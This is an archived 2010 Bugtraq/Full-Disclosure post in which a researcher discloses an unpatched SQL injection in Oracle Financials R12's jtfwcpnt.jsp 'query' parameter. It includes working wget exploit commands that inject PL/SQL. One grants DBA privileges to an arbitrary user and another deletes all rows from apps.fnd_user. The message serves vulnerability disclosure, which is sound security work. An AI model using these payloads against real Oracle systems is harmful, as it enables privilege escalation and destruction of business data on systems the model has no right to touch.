bugtraq - Hackproofing Oracle Financials 11i & R12

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <1271359130.26653.21.camel@joxean-desktop.etxea.com>
Date: Thu, 15 Apr 2010 21:18:50 +0200
From: Joxean Koret <joxeankoret@...oo.es>
To: Full Disclosure <full-disclosure@...ts.grok.org.uk>,
	bugtraq@...urityfocus.com
Subject: Hackproofing Oracle Financials 11i & R12

Hi all,

Yesterday a friend of mine told me that I "forget" to share with the
general public one small detail about a presentation [1] I given at the
conference RootedCon 2010 [2].

In the presentation there is a currently working 0day against Oracle
Financials R12. The 0day is too obvious and pretty simple to exploit (as
is common with Oracle software). In Oracle Financials R12 there is one
script called jtfwcpnt.jsp which receives a parameter called "query". I
think that no other explanation is required. Anyway, this is a simple
"exploit" extracted from the presentation:

$ export TARGET=”http://<target>:<port>/OA_HTML”
$ wget -O - “$TARGET/OA.jsp” "$TARGET/jtfwcpnt.jsp?query=begin%20execute
%20immediate%20'grant%20dba%20to%20mom';%20end;”
$ wget -O - “$TARGET/OA.jsp” "$TARGET/jtfwcpnt.jsp?query=begin%20execute
%20immediate%20'delete%20from%20apps.fnd_user';%20commit;end;”

Just in case you don't want to view the slides online or you hate (or
fear) Flash as I do, you can download the slides from my website [3] in
ODP format.

[1] Online slides: http://bit.ly/c80WeS
[2] RootedCon conference: http://www.rootedcon.es/
[3] Slides: www.joxeankoret.com/odp/vulns_r12.odp.bz2

Regards,
Joxean Koret

Download attachment "signature.asc" of type "application/pgp-signature" (190 bytes)